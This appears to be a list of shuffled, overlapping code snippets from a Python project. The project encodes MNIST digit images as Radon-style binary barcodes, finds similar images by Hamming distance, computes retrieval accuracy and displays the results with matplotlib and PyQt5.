"appropriate threshold index rotated_image = img.rotate(degree) # rotate the image image2d = np.array(rotated_image)",
"findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for",
"with open(\"barcodes.txt\", 'r') as f: line = f.readline() while line: line = line.rstrip(\"\\n\")",
"Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9 to search image\")",
"0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)):",
"__init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0)",
"plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0 - 9): \")) def",
"hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) #",
"= hammingDistance( barcode, searchBarcode) # check each bit in both barcodes and calculate",
"and calculate how many of these not same if currentHMD == 0: #",
"= None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD)",
"{}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD))",
"imageName in enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage = int(input(\"select image",
"1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator",
"imageLoc = None # result image location for i, barcode in enumerate(self.barcodes): #",
"def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None",
"plt.show() digitFolder = int(input(\"enter a digit (0 - 9): \")) def showAllResults(self): fig",
"DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in the dataset",
"constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree /",
"single row # thresholds the sum of the row to 1 or 0",
"[] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def",
"create image from thresholded 2d image array barcode = [] degree = constants.MIN_DEGREE",
"is there is pixel or there is not row_sum+=pixel # sum of pixels",
"cv2 image # ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) #",
"print(c , \" - \", imageName) selectImage = int(input(\"select image from above list:",
"= imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True return success, minHMD,",
"threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode",
"threshold it just makes pixel values either black or white img = Image.fromarray(opcv)",
"elif currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i]",
"number between 0 and 9 to search image\") print(\"Enter a number smaller than",
"= NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\")",
"minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] return minHMD, minBarcode,",
"Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0 - 9): \")) def showAllResults(self):",
"through each pixel in the row pixel = pixel / 255 # since",
"Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1 hitRatio = accuracy(successCount)",
"imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success =",
"range(len(v1)): if v1[i] != v2[i]: t += 1 return t # read thresholds",
"print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD",
"above notes. Press Enter to continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating",
"a digit (0 - 9): \")) while digitFolder >= 0 and digitFolder <=",
"searchBarcode) # check each bit in both barcodes and calculate how many of",
"row pixel = pixel / 255 # since we have either 0 or",
"# read thresholds from thresholds.txt and then store them into thresholds list thresholds",
"= barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder =",
"the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0 and",
"< minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD:",
"img.rotate(degree) # rotate the image image2d = np.array(rotated_image) # get 2d representation of",
"plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib # Make sure that we are",
"between 0 and 9 to search image\") print(\"Enter a number smaller than 0",
"fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\")",
"imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig =",
"= line.pop() barcode = [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line",
"the barcodes are identical which means they are the same image continue #",
"= True return success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def",
"return t # read thresholds from thresholds.txt and then store them into thresholds",
"digit (0 - 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols",
"# digit folder path for i, imageName in zip((i for i in range(1,",
"these not same if currentHMD == 0: # hamming distance 0 means the",
"columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\")",
"255 to get 0 or 1 which is there is pixel or there",
"input(\"Yes I have read the above notes. Press Enter to continue...\") si =",
"{}\".format(minHMD)) rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1)",
"constants import os import math import matplotlib.pyplot as plt import time def hammingDistance(v1,",
"i, barcode in enumerate(self.barcodes): # loop through every barcode in the barcodes list",
"thorugh every file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory,",
"resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\")",
"def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0) # read image file",
"= currentHMD minBarcode = barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def",
"or 0 based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0)",
"\")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for",
"print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance:",
"= int(input(\"enter a digit (0 - 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100),",
"1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False",
"threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close()",
"white img = Image.fromarray(opcv) # create image from thresholded 2d image array barcode",
"in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd,",
"bit in both barcodes and calculate how many of these not same if",
"barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig",
"# if the current calculated hamming distance is less than the minimum hamming",
"distance minHMD = currentHMD # then set minimum hamming distance to current calculated",
"window maximize the window and scrolldown to see the results\") input(\"Yes I have",
"Enter to continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\")",
"import time def hammingDistance(v1, v2): t = 0 for i in range(len(v1)): if",
"currentHMD = hammingDistance( barcode, searchBarcode) # check each bit in both barcodes and",
"success = False # variable for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1",
"plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns,",
"0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName",
"get 2d representation of the rotated image for row in image2d: # loop",
"black or white img = Image.fromarray(opcv) # create image from thresholded 2d image",
"+= constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes",
"every file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName))",
"image location for i, barcode in enumerate(self.barcodes): # loop through every barcode in",
"Hamming Distance. It is (maxiumum hamming distance + 1) by default minBarcode =",
"rotated image for row in image2d: # loop through each row in thresholded",
"4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0 -",
"all the images in the dataset and finding results...\") print(\"Once you get the",
"fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result",
"just makes pixel values either black or white img = Image.fromarray(opcv) # create",
"# find the appropriate threshold index rotated_image = img.rotate(degree) # rotate the image",
"in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue",
"__init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy =",
"create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image:",
"distance is less than the minimum hamming distance minHMD = currentHMD # then",
"plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4)",
"read the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0",
"the images in the dataset and finding results...\") print(\"Once you get the window",
"= cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90)",
"which means they are the same image continue # skip elif currentHMD <",
"greater than 9 to exit the search menu\") print(\"Once you exit Search Menu",
"from PIL import Image import numpy as np import constants import os import",
"# loop thorugh every file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode",
"QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar",
"SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) #",
"pixel value divide this number by 255 to get 0 or 1 which",
"imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7))",
"as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig):",
"= [] barcodes = [] with open(\"barcodes.txt\", 'r') as f: line = f.readline()",
"QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ ==",
"imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0",
"s: successCount += 1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup):",
"to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in the",
"STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the appropriate threshold index rotated_image",
"input(\"Yes I have read the above notes. Press Enter to continue...\") fig =",
"print(\"\\n\\n\\nSearching all the images in the dataset and finding results...\") print(\"Once you get",
"(maxiumum hamming distance + 1) by default minBarcode = None # barcode that",
"bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode",
"== 0: continue elif currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode",
"digitFolder = int(input(\"enter a digit (0 - 9): \")) while digitFolder >= 0",
"location for i, barcode in enumerate(self.barcodes): # loop through every barcode in the",
"have read the above notes. Press Enter to continue...\") fig = si.showAllResults() a",
"os import math import matplotlib.pyplot as plt import time def hammingDistance(v1, v2): t",
"2d representation of the rotated image for row in image2d: # loop through",
"image location from barcodes.txt file imageLocations = [] barcodes = [] with open(\"barcodes.txt\",",
"cv2 from PIL import Image import numpy as np import constants import os",
"# loop through each pixel in the row pixel = pixel / 255",
"they are the same image continue # skip elif currentHMD < minHMD: #",
"0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in",
"barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0:",
"2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1]))",
"100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to",
"Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\")",
"the above notes. Press Enter to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching",
"print(\"Once you get the window maximize the window and scrolldown to see the",
"Ratio \") input(\"Yes I have read the above notes. Press Enter to continue...\")",
"as plt import time def hammingDistance(v1, v2): t = 0 for i in",
"None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD)",
"continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr =",
"directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c , \" - \",",
"directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName in zip((i for",
"image from thresholded 2d image array barcode = [] degree = constants.MIN_DEGREE while",
"NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in os.listdir(directory): #",
"every barcode in the barcodes list currentHMD = hammingDistance( barcode, searchBarcode) # check",
"means the barcodes are identical which means they are the same image continue",
"barcode in enumerate(self.barcodes): # loop through every barcode in the barcodes list currentHMD",
"number smaller than 0 or greater than 9 to exit the search menu\")",
"barcodes and calculate how many of these not same if currentHMD == 0:",
"print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode =",
"menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy",
"in range(len(v1)): if v1[i] != v2[i]: t += 1 return t # read",
"threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode and image",
"= False # variable for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 #",
"create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for i,",
"1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows,",
"os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None",
"class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget)",
"hamming distance minHMD = currentHMD # then set minimum hamming distance to current",
"int(resultDigitGroup) == int(searchDigitGroup): success = True return success, minHMD, imageLoc, minBarcode class SearchSimilar:",
"to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName in",
"r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName in zip((i for i in",
"rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath",
"sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9,",
"f: threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline()",
"success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum hamming",
"or greater than 9 to exit the search menu\") print(\"Once you exit Search",
"cv2.THRESH_OTSU) # apply threshold it just makes pixel values either black or white",
"self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_())",
"range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder",
"check each bit in both barcodes and calculate how many of these not",
"thorugh every file in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory,",
"QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import",
"f.readline() while line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode",
"degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE",
"pixels across a single row # thresholds the sum of the row to",
"to the minimum hamming distance imageLoc = None # result image location for",
"f.close() def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0) # read image",
"Image.fromarray(opcv) # create image from thresholded 2d image array barcode = [] degree",
"identical which means they are the same image continue # skip elif currentHMD",
"searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath",
"fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search",
"for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD",
"import matplotlib.pyplot as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as",
"== \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at Once\")",
"the row to 1 or 0 based on calculated threshold if row_sum >=",
"elif currentHMD < minHMD: # if the current calculated hamming distance is less",
"= pixel / 255 # since we have either 0 or 255 as",
"int(searchDigitGroup): success = True return success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self):",
"fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit",
"directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode",
"hamming distance 0 means the barcodes are identical which means they are the",
"0) # read image file as cv2 image # ret2, th2 = cv2.threshold(opcv,",
"self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if",
"minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 - 9):",
"plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath)",
"imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode)",
"hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) #",
"default minBarcode = None # barcode that corresponds to the minimum hamming distance",
"plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg",
"the barcodes list currentHMD = hammingDistance( barcode, searchBarcode) # check each bit in",
"minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc",
"self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy",
"line = f.readline() while line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation =",
"# initialize row pixel counter for pixel in row: # loop through each",
"1 which is there is pixel or there is not row_sum+=pixel # sum",
"if currentHMD == 0: continue elif currentHMD < minHMD: minHMD = currentHMD minBarcode",
"# ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold",
"255 # since we have either 0 or 255 as a pixel value",
"import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def",
"print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes I",
"resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath =",
"imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,",
"MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the appropriate threshold",
"in image2d: # loop through each row in thresholded image row_sum = 0",
"open(\"barcodes.txt\", 'r') as f: line = f.readline() while line: line = line.rstrip(\"\\n\") line",
"= os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii)",
"currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage)",
"1) by default minBarcode = None # barcode that corresponds to the minimum",
"y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib",
"import matplotlib # Make sure that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot",
"columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\")",
"plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90)",
"print(\"Enter a number smaller than 0 or greater than 9 to exit the",
"exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All",
"as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget =",
"self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda x : x / 100",
"barcode in the barcodes list currentHMD = hammingDistance( barcode, searchBarcode) # check each",
"to continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr",
"def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None",
"x : x / 100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): #",
"image for row in image2d: # loop through each row in thresholded image",
"+ 1) by default minBarcode = None # barcode that corresponds to the",
"Results at Once\") input(\"Yes I have read the above notes. Press Enter to",
"Search Menu you will get Calculate Accuracy Hit Ratio \") input(\"Yes I have",
"a digit (0 - 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows,",
"then set minimum hamming distance to current calculated hamming distance minBarcode = barcode",
"barcode = [] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through",
"plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns,",
"selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd,",
"rotate the image image2d = np.array(rotated_image) # get 2d representation of the rotated",
"= [] opcv = cv2.imread(imagePath, 0) # read image file as cv2 image",
"[] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to",
"3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show()",
"sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols,",
"CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the",
"barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda",
"columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0",
"constants.STEP_DEGREE) # find the appropriate threshold index rotated_image = img.rotate(degree) # rotate the",
"are identical which means they are the same image continue # skip elif",
"minBarcode = None # barcode that corresponds to the minimum hamming distance imageLoc",
"inputBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD: minHMD =",
"currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD",
"line.pop() barcode = [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line =",
"/ 255 # since we have either 0 or 255 as a pixel",
"accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy()))",
"are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import QtWidgets from",
"list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1",
"for i, imageName in zip((i for i in range(1, 20, 2)), os.listdir(directory)): #",
